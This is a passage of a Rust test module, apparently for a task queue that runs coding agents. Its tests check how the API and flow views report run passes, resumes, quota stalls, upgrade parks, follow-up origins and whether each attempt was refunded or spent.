16882        let listed = f.get("/api/talks").await.json();
16883        assert!(
16884            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16885            "a deleted talk must not linger in the list: {listed}"
16886        );
16887    }
16888
16889    #[tokio::test]
16890    async fn talk_delete_on_an_unknown_id_is_404() {
16891        let f = Fixture::start().await;
16892        let res = f.delete("/api/talks/nonexistent-id").await;
16893        assert_eq!(res.status, 404, "{}", res.body);
16894    }
16895
16896    /// A task's page lists every run it ever had, in order, and says what kind
16897    /// of attempt each was - including a resume, which re-pushes the same run
16898    /// id, and a run whose record this build cannot read.
16899    #[tokio::test]
16900    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16901        let f = Fixture::start().await;
16902        let (a, b, gone) = (
16903            "20260902-140501-aaaa",
16904            "20260902-140502-bbbb",
16905            "20260902-140503-cccc",
16906        );
16907        write_run(&f.runs(), a, RunStatus::Stalled);
16908        let mut review = RunState::new(
16909            PathBuf::from("/repo/magi"),
16910            "main".to_owned(),
16911            "0123456789abcdef".to_owned(),
16912            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16913                .to_owned(),
16914            Config::default(),
16915        );
16916        review.id = b.to_owned();
16917        review.status = RunStatus::Merged;
16918        write_state(&f.runs(), &review);
16919
16920        let mut task = Task::new(
16921            "retry".to_owned(),
16922            "Do the thing".to_owned(),
16923            PathBuf::from("/repo/magi"),
16924            Source::Human,
16925        );
16926        task.start(a.to_owned());
16927        task.stall("quota");
16928        task.start(a.to_owned());
16929        task.start(b.to_owned());
16930        task.start(gone.to_owned());
16931        // This fixture models an older queue file with repeated run entries.
16932        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16933        f.queue().put(&mut task).expect("file the task");
16934
16935        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16936        assert_eq!(res.status, 200, "{}", res.body);
16937        let v = res.json();
16938        let h = v["history"].as_array().expect("history");
16939        assert_eq!(h.len(), 4, "{v}");
16940        assert_eq!(h[0]["kind"], "competition");
16941        assert_eq!(h[0]["status"], "stalled");
16942        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16943        assert_eq!(h[1]["kind"], "resume", "{v}");
16944        assert!(
16945            h[0]["outcome"]
16946                .as_str()
16947                .unwrap()
16948                .contains("unknown. Pass #2"),
16949            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16950        );
16951        assert!(
16952            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16953            "{v}"
16954        );
16955        assert!(
16956            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16957            "an unrecorded cause must not be narrated as an operator park: {v}"
16958        );
16959        assert_eq!(h[2]["kind"], "review");
16960        assert!(
16961            h[2]["description"]
16962                .as_str()
16963                .unwrap()
16964                .contains("magi/aaaa/A")
16965        );
16966        assert_eq!(h[2]["status"], "merged");
16967        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16968        assert_eq!(v["runs_unreadable"], 1);
16969        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16970        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16971        assert_eq!(nodes[4]["note"], "unreadable");
16972        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16973        assert_eq!(v["instruction"], "Do the thing");
16974        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16975
16976        // The run's own page links back to the task.
16977        let run = f.get(&format!("/api/runs/{a}")).await.json();
16978        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16979
16980        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16981    }
16982
16983    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16984        let mut s = RunState::new(
16985            PathBuf::from("/repo/magi"),
16986            "main".to_owned(),
16987            "0123456789abcdef".to_owned(),
16988            "Do it".to_owned(),
16989            Config::default(),
16990        );
16991        s.status = status;
16992        edit(&mut s);
16993        s
16994    }
16995
16996    fn flow_task(runs: &[&str]) -> Task {
16997        let mut t = Task::new(
16998            "t".to_owned(),
16999            "Do it".to_owned(),
17000            PathBuf::from("/repo/magi"),
17001            Source::Human,
17002        );
17003        for r in runs {
17004            t.start((*r).to_owned());
17005        }
17006        // Synthetic flows without RunPass records model legacy queue data.
17007        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17008        t
17009    }
17010
17011    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17012        let h = task_history(task, |id| {
17013            states
17014                .iter()
17015                .find(|(i, _)| *i == id)
17016                .and_then(|(_, s)| s.clone())
17017        });
17018        task_flow(task, &h, 5, None)
17019    }
17020
17021    #[test]
17022    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17023        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17024        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17025        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17026        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17027        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17028        let run = flow_run(RunStatus::Implementing, |s| {
17029            s.created_at = created;
17030            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17031            s.passes[0].started_at = first;
17032            s.passes[1].started_at = resumed;
17033        });
17034        let mut task = flow_task(&[RUN_X, RUN_X]);
17035        task.created_at = queued;
17036        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17037        task.status = TaskStatus::Held;
17038        task.held_at = Some(held);
17039        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17040        assert_eq!(
17041            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17042            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17043        );
17044        assert!(flow.nodes.iter().all(|n| n.time_expected));
17045        let json = serde_json::to_value(&flow).unwrap();
17046        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17047        assert_eq!(json["nodes"][2]["time_expected"], true);
17048    }
17049
17050    #[test]
17051    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17052        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17053        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17054        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17055        // These timestamps are not the start of the current status.
17056        task.held_at = Some(created);
17057        task.blocked_at = Some(created);
17058        for status in [
17059            TaskStatus::Queued,
17060            TaskStatus::Running,
17061            TaskStatus::Blocked,
17062            TaskStatus::Done,
17063            TaskStatus::Failed,
17064            TaskStatus::Parked,
17065            TaskStatus::Held,
17066        ] {
17067            task.status = status;
17068            if status == TaskStatus::Held {
17069                task.held_at = None;
17070            }
17071            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17072            assert_eq!(flow.nodes[1].started_at, Some(created));
17073            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17074            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17075            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17076            let json = serde_json::to_value(&flow).unwrap();
17077            assert!(json["nodes"][3]["started_at"].is_null());
17078            assert_eq!(json["nodes"][3]["time_expected"], true);
17079        }
17080    }
17081
17082    #[test]
17083    fn flow_context_links_do_not_expect_start_times() {
17084        let mut task = flow_task(&[]);
17085        task.source = Source::Agent {
17086            run: "chat-id".to_owned(),
17087            node: "chat".to_owned(),
17088        };
17089        let origin = followup_origin(&fu(None), |_| None, |_| None);
17090        let flow = task_flow(&task, &[], 5, Some(&origin));
17091        for node in &flow.nodes[..2] {
17092            assert!(!node.time_expected);
17093            assert_eq!(node.started_at, None);
17094        }
17095        assert!(flow.nodes[2].time_expected);
17096    }
17097
17098    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17099        crate::queue::FollowUp {
17100            run: "20260901-000000-aaaa".to_owned(),
17101            origin_task: origin_task.map(str::to_owned),
17102            pr: "https://example.com/o/r/pull/1".to_owned(),
17103            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17104                .map(str::to_owned)
17105                .to_vec(),
17106            generation: 1,
17107        }
17108    }
17109
17110    fn parent_task() -> Task {
17111        let mut p = flow_task(&[]);
17112        p.title = "Parent title".to_owned();
17113        p.status = TaskStatus::Done;
17114        p
17115    }
17116
17117    #[test]
17118    fn flow_opens_with_the_parent_task_of_a_followup() {
17119        let p = parent_task();
17120        let pid = p.id.clone();
17121        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17122        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17123        let n = &f.nodes[0];
17124        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17125        assert_eq!(
17126            n.label,
17127            format!("Follow-up of {}", crate::queue::short(&pid))
17128        );
17129        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17130        assert_eq!(n.status, Some("done"));
17131        assert_eq!(n.status_of, "task");
17132        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17133        assert_eq!(f.nodes[1].key, "start");
17134        assert_eq!(f.edges[0].from, "origin");
17135        assert_eq!(
17136            f.edges[0].label,
17137            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17138        );
17139    }
17140
17141    #[test]
17142    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17143        let o = followup_origin(
17144            &fu(Some("gone")),
17145            |_| None,
17146            |_| {
17147                Some(RunState::new(
17148                    std::path::PathBuf::from("."),
17149                    "main".to_owned(),
17150                    "0".to_owned(),
17151                    "t".to_owned(),
17152                    crate::config::Config::default(),
17153                ))
17154            },
17155        );
17156        assert!(o.parent.is_none());
17157        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17158        let n = &f.nodes[0];
17159        assert_eq!(n.status_of, "run");
17160        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17161        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17162    }
17163
17164    #[test]
17165    fn flow_followup_with_nothing_readable_has_no_link() {
17166        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17167        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17168        let n = &f.nodes[0];
17169        assert_eq!(n.href, None);
17170        assert_eq!(n.note, Some("unreadable"));
17171        assert!(!n.readable);
17172    }
17173
17174    #[test]
17175    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17176        let o = followup_origin(&fu(None), |_| None, |_| None);
17177        let mut t = flow_task(&[]);
17178        t.origin_chat = Some("c1".to_owned());
17179        let f = task_flow(&t, &[], 5, Some(&o));
17180        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17181        t.source = Source::Agent {
17182            run: "c1".to_owned(),
17183            node: crate::queue::CHAT_NODE.to_owned(),
17184        };
17185        let f = task_flow(&t, &[], 5, Some(&o));
17186        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17187        assert_eq!(
17188            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17189            ("chat", "origin")
17190        );
17191    }
17192
17193    #[test]
17194    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17195        let mut p = parent_task();
17196        p.id = "a b/c".to_owned();
17197        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17198        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17199    }
17200
17201    #[test]
17202    fn flow_opens_with_the_chat_that_queued_the_task() {
17203        let mut t = flow_task(&[]);
17204        t.source = Source::Agent {
17205            run: "a b/c".to_owned(),
17206            node: crate::queue::CHAT_NODE.to_owned(),
17207        };
17208        let f = flow_for(&t, &[]);
17209        assert_eq!(f.nodes[0].key, "chat");
17210        assert_eq!(f.nodes[0].kind, "chat");
17211        assert_eq!(
17212            f.nodes[0].label,
17213            format!("Chat {}", crate::queue::short("a b/c"))
17214        );
17215        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17216        assert_eq!(f.nodes[1].key, "start");
17217        assert_eq!(
17218            f.edges[0],
17219            FlowEdge {
17220                from: "chat".to_owned(),
17221                to: "start".to_owned(),
17222                label: "queued from chat".to_owned(),
17223                attempt: AttemptCost::None,
17224            }
17225        );
17226    }
17227
17228    #[test]
17229    fn flow_has_no_chat_box_for_other_sources() {
17230        for source in [
17231            Source::Human,
17232            Source::Issue {
17233                number: 3,
17234                repo: "o/r".to_owned(),
17235            },
17236            Source::Agent {
17237                run: "20260904-014455-ab12".to_owned(),
17238                node: "implement".to_owned(),
17239            },
17240        ] {
17241            let mut t = flow_task(&[]);
17242            t.source = source;
17243            let f = flow_for(&t, &[]);
17244            assert_eq!(f.nodes[0].key, "start");
17245            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17246            assert!(f.edges.iter().all(|e| e.from != "chat"));
17247        }
17248    }
17249
17250    const FA: &str = "20260902-140501-aaaa";
17251    const FB: &str = "20260902-140502-bbbb";
17252
17253    #[test]
17254    fn flow_follows_blocked_retry_merged_to_done() {
17255        let mut t = flow_task(&[FA, FB]);
17256        t.status = TaskStatus::Done;
17257        let f = flow_for(
17258            &t,
17259            &[
17260                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17261                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17262            ],
17263        );
17264        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17265        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17266        assert_eq!(f.edges.len(), 3);
17267        assert_eq!(f.edges[0].label, "claimed");
17268        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17269        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17270        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17271        assert_eq!(
17272            f.nodes[2].href.as_deref(),
17273            Some("#/runs/20260902-140502-bbbb")
17274        );
17275        assert!(f.nodes[2].decided);
17276    }
17277
17278    #[test]
17279    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17280        let quota = || {
17281            flow_run(RunStatus::Stalled, |s| {
17282                s.quota.push(crate::run::QuotaLoss {
17283                    cause: crate::agent::QuotaCause::UsageLimit,
17284                    agent: String::new(),
17285                    seat: "judge-1".to_owned(),
17286                    node: "judge".to_owned(),
17287                    at: Timestamp::now(),
17288                    reset: None,
17289                })
17290            })
17291        };
17292        let mut t = flow_task(&[FA, FA]);
17293        t.status = TaskStatus::Queued;
17294        let f = flow_for(&t, &[(FA, Some(quota()))]);
17295        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17296        assert_eq!(f.nodes[1].note, Some("interrupted"));
17297        assert_eq!(
17298            f.nodes[1].status, None,
17299            "no outcome copied onto an earlier pass"
17300        );
17301        assert_eq!(
17302            f.edges[1].attempt,
17303            AttemptCost::Unknown,
17304            "a resume does not prove the earlier pass was refunded"
17305        );
17306        assert!(f.edges[1].label.contains("resume the same run"));
17307        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17308        assert_eq!(
17309            f.edges[2].label,
17310            "stalled after a resume, refund unknown \u{2192} queued"
17311        );
17312        assert!(!f.nodes[2].decided, "a stall is not a decision");
17313        assert_eq!(f.nodes[2].note, Some("no verdict"));
17314    }
17315
17316    #[test]
17317    fn flow_single_pass_quota_stall_is_refunded() {
17318        let t = flow_task(&[FA]);
17319        let f = flow_for(
17320            &t,
17321            &[(
17322                FA,
17323                Some(flow_run(RunStatus::Stalled, |s| {
17324                    s.quota.push(crate::run::QuotaLoss {
17325                        cause: crate::agent::QuotaCause::UsageLimit,
17326                        agent: String::new(),
17327                        seat: "judge-1".to_owned(),
17328                        node: "judge".to_owned(),
17329                        at: Timestamp::now(),
17330                        reset: None,
17331                    })
17332                })),
17333            )],
17334        );
17335        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17336    }
17337
17338    #[test]
17339    fn flow_parked_refunds_and_stall_without_quota_spends() {
17340        let mut t = flow_task(&[FA]);
17341        t.status = TaskStatus::Queued;
17342        let f = flow_for(
17343            &t,
17344            &[(
17345                FA,
17346                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17347            )],
17348        );
17349        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17350        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17351        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17352        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17353        assert!(!f.nodes[1].decided);
17354    }
17355
17356    #[test]
17357    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17358        let t = flow_task(&[FA, FB]);
17359        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17360        assert_eq!(f.nodes[1].note, Some("unreadable"));
17361        assert!(!f.nodes[1].readable);
17362        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17363        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17364    }
17365
17366    #[test]
17367    fn flow_names_the_branch_of_a_review_only_run() {
17368        let t = flow_task(&[FA]);
17369        let f = flow_for(
17370            &t,
17371            &[(
17372                FA,
17373                Some(flow_run(RunStatus::Merged, |s| {
17374                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17375                })),
17376            )],
17377        );
17378        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17379        assert_eq!(
17380            f.nodes[1].detail.as_deref(),
17381            Some("review-only run of branch magi/x/A")
17382        );
17383    }
17384
17385    #[test]
17386    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17387        let mut t = flow_task(&[FA]);
17388        t.status = TaskStatus::Held;
17389        let pr = crate::run::PrRecord {
17390            url: "https://example.test/pr/1".to_owned(),
17391            number: 1,
17392            state: "open".to_owned(),
17393            checks: "green".to_owned(),
17394            round: 0,
17395            rounds: 3,
17396            red_at_merge: Vec::new(),
17397        };
17398        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17399        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17400        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17401        t.status = TaskStatus::Done;
17402        let f = flow_for(&t, &[(FA, Some(blocked))]);
17403        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17404    }
17405
17406    #[test]
17407    fn flow_with_no_runs_goes_from_queued_to_queued() {
17408        let t = flow_task(&[]);
17409        let f = flow_for(&t, &[]);
17410        assert_eq!(f.nodes.len(), 2);
17411        assert_eq!(f.edges.len(), 1);
17412        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17413        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17414    }
17415
17416    /// A run parked mid-flight keeps a non-terminal status; the page must
17417    /// still say why it stopped and that the attempt came back.
17418    #[test]
17419    fn a_parked_non_terminal_run_is_explained_as_parked() {
17420        let mut s = RunState::new(
17421            PathBuf::from("/repo/magi"),
17422            "main".to_owned(),
17423            "0123456789abcdef".to_owned(),
17424            "Do it".to_owned(),
17425            Config::default(),
17426        );
17427        s.status = RunStatus::Implementing;
17428        s.parked = true;
17429        let task = Task::new(
17430            "t".to_owned(),
17431            "Do it".to_owned(),
17432            PathBuf::from("/repo/magi"),
17433            Source::Human,
17434        );
17435        let v = task_run_view(
17436            "20260902-140501-aaaa",
17437            Some(&s),
17438            RunSlot {
17439                n: 1,
17440                resumed: false,
17441                resumed_later: None,
17442                prior: None,
17443                last: true,
17444                ..RunSlot::default()
17445            },
17446            &task,
17447        );
17448        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17449    }
17450
17451    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17452        let mut s = flow_run(RunStatus::Implementing, edit);
17453        s.parked = false;
17454        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17455        task_run_view(
17456            "20260902-140501-aaaa",
17457            Some(&s),
17458            RunSlot {
17459                n: 1,
17460                resumed: false,
17461                resumed_later: Some(2),
17462                prior: None,
17463                last: false,
17464                ..RunSlot::default()
17465            },
17466            &task,
17467        )
17468    }
17469
17470    #[test]
17471    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17472        let v = earlier_pass_view(|_| {});
17473        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17474        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17475        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17476        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17477        assert_eq!(v.exit, RunExit::Interrupted);
17478        assert_eq!(v.attempt, AttemptCost::Unknown);
17479    }
17480
17481    #[test]
17482    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17483        let v = earlier_pass_view(|s| {
17484            s.quota.push(crate::run::QuotaLoss {
17485                cause: crate::agent::QuotaCause::UsageLimit,
17486                agent: String::new(),
17487                seat: "judge-1".to_owned(),
17488                node: "judge".to_owned(),
17489                at: Timestamp::now(),
17490                reset: None,
17491            });
17492        });
17493        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17494        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17495        assert_eq!(v.attempt, AttemptCost::Unknown);
17496    }
17497
17498    #[test]
17499    fn the_current_pass_states_its_recorded_cause_and_cost() {
17500        let slot = || RunSlot {
17501            n: 1,
17502            resumed: false,
17503            resumed_later: None,
17504            prior: None,
17505            last: true,
17506            ..RunSlot::default()
17507        };
17508        let task = flow_task(&["20260902-140501-aaaa"]);
17509        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17510        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17511        assert_eq!(
17512            (v.exit, v.attempt),
17513            (RunExit::Parked, AttemptCost::Refunded)
17514        );
17515        let spent = flow_run(RunStatus::Blocked, |_| {});
17516        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17517        assert_eq!(v.attempt, AttemptCost::Spent);
17518        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17519    }
17520
17521    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17522        crate::run::RunPass {
17523            index,
17524            started_at: Timestamp::now(),
17525            resumed: index > 0,
17526            ended_at: end.as_ref().map(|_| Timestamp::now()),
17527            end,
17528            task_entry: true,
17529        }
17530    }
17531
17532    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17533        Some(crate::run::PassEnd::Parked { cause })
17534    }
17535
17536    fn upgrade_cause() -> crate::run::ParkCause {
17537        crate::run::ParkCause::Upgrade {
17538            from: "0.121.0".to_owned(),
17539            to: Some("0.121.1".to_owned()),
17540        }
17541    }
17542
17543    fn settled_pass(
17544        run: &str,
17545        index: usize,
17546        cost: crate::queue::PassCost,
17547    ) -> crate::queue::TaskPass {
17548        crate::queue::TaskPass {
17549            run: run.to_owned(),
17550            pass_index: index,
17551            started_at: None,
17552            cost,
17553            attempts_after: 1,
17554            settled_at: Timestamp::now(),
17555            parked: None,
17556        }
17557    }
17558
17559    const RUN_X: &str = "20261011-223708-4334";
17560
17561    #[test]
17562    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17563        use crate::queue::PassCost;
17564        let run = flow_run(RunStatus::Implementing, |s| {
17565            s.passes = vec![
17566                recorded_pass(0, parked(upgrade_cause())),
17567                recorded_pass(1, None),
17568            ];
17569        });
17570        let mut task = flow_task(&[RUN_X, RUN_X]);
17571        task.attempts = 1;
17572        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17573        let h = task_history(&task, |_| Some(run.clone()));
17574        assert_eq!(h.len(), 2);
17575        assert_eq!(h[0].kind, "competition");
17576        assert_eq!(h[1].kind, "resume");
17577        assert_eq!(
17578            (h[0].exit, h[0].attempt),
17579            (RunExit::Parked, AttemptCost::Refunded)
17580        );
17581        assert!(
17582            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17583            "{}",
17584            h[0].outcome
17585        );
17586        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17587        assert!(
17588            h[0].outcome.contains("pass #2 resumed the same run"),
17589            "{}",
17590            h[0].outcome
17591        );
17592        assert!(
17593            h[0].outcome.contains("pass 1 of 2 over run"),
17594            "{}",
17595            h[0].outcome
17596        );
17597        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17598        assert_eq!(
17599            h[0].exit_label,
17600            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17601        );
17602        let f = task_flow(&task, &h, 2, None);
17603        // Two passes of one run, one of two attempts consumed.
17604        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17605        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17606        assert!(
17607            f.edges[1].label.contains("upgrade 0.121.0"),
17608            "{}",
17609            f.edges[1].label
17610        );
17611        assert!(
17612            f.edges[1].label.contains("resume the same run"),
17613            "{}",
17614            f.edges[1].label
17615        );
17616        assert_eq!(f.nodes[1].note, Some("parked"));
17617    }
17618
17619    #[test]
17620    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17621        let mut a = flow_run(RunStatus::Implementing, |s| {
17622            s.passes = vec![
17623                recorded_pass(0, parked(upgrade_cause())),
17624                recorded_pass(1, None),
17625            ];
17626        });
17627        let mut b = flow_run(RunStatus::Failed, |s| {
17628            s.passes = vec![recorded_pass(0, None)];
17629        });
17630        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17631        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17632        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17633        let mut task = flow_task(&[]);
17634        task.start("a".into());
17635        task.start("b".into());
17636        task.start("a".into());
17637        assert_eq!(task.runs, ["b", "a"]);
17638        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17639        let h = task_history(&task, |id| {
17640            Some(if id == "a" { a.clone() } else { b.clone() })
17641        });
17642        assert_eq!(
17643            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17644            ["a", "b", "a"]
17645        );
17646        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17647        assert!(h[0].outcome.contains("upgrade"));
17648        assert_eq!(h[2].kind, "resume");
17649        assert!(h[2].pass.is_some());
17650        // The old repeated-id format must show the same recorded passes.
17651        task.runs = vec!["a".into(), "b".into(), "a".into()];
17652        let old = task_history(&task, |id| {
17653            Some(if id == "a" { a.clone() } else { b.clone() })
17654        });
17655        assert_eq!(
17656            old.iter()
17657                .map(|v| (&v.id, &v.kind, v.attempt))
17658                .collect::<Vec<_>>(),
17659            h.iter()
17660                .map(|v| (&v.id, &v.kind, v.attempt))
17661                .collect::<Vec<_>>()
17662        );
17663    }
17664
17665    #[test]
17666    fn an_upgrade_whose_target_was_not_known_says_so() {
17667        let run = flow_run(RunStatus::Implementing, |s| {
17668            s.passes = vec![
17669                recorded_pass(
17670                    0,
17671                    parked(crate::run::ParkCause::Upgrade {
17672                        from: "0.121.0".to_owned(),
17673                        to: None,
17674                    }),
17675                ),
17676                recorded_pass(1, None),
17677            ];
17678        });
17679        let task = flow_task(&[RUN_X, RUN_X]);
17680        let h = task_history(&task, |_| Some(run.clone()));
17681        assert!(
17682            h[0].outcome.contains("upgrade from 0.121.0"),
17683            "{}",
17684            h[0].outcome
17685        );
17686        // No settle record: the refund is not claimed.
17687        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17688    }
17689
17690    #[test]
17691    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17692        use crate::queue::PassCost;
17693        use crate::run::ParkCause;
17694        let run = flow_run(RunStatus::Implementing, |s| {
17695            s.passes = vec![
17696                recorded_pass(0, parked(upgrade_cause())),
17697                recorded_pass(
17698                    1,
17699                    parked(ParkCause::Interrupt {
17700                        reason: "task a1b2 asked to run first".to_owned(),
17701                    }),
17702                ),
17703                recorded_pass(2, parked(ParkCause::Operator)),
17704                recorded_pass(3, None),
17705            ];
17706        });
17707        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17708        task.attempts = 1;
17709        task.passes = (0..3)
17710            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17711            .collect();
17712        let h = task_history(&task, |_| Some(run.clone()));
17713        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17714        assert!(
17715            h[1].outcome.contains("task a1b2 asked to run first"),
17716            "{}",
17717            h[1].outcome
17718        );
17719        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17720        assert!(
17721            h[2].outcome.contains("operator asked the loop to park"),
17722            "{}",
17723            h[2].outcome
17724        );
17725        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17726        let f = task_flow(&task, &h, 2, None);
17727        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17728    }
17729
17730    #[test]
17731    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17732        let run = flow_run(RunStatus::Implementing, |s| {
17733            s.passes = vec![
17734                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17735                recorded_pass(1, None),
17736            ];
17737        });
17738        let task = flow_task(&[RUN_X, RUN_X]);
17739        let h = task_history(&task, |_| Some(run.clone()));
17740        assert_eq!(h[0].exit, RunExit::Interrupted);
17741        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17742        assert!(
17743            h[0].outcome.contains("without recording why"),
17744            "{}",
17745            h[0].outcome
17746        );
17747        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
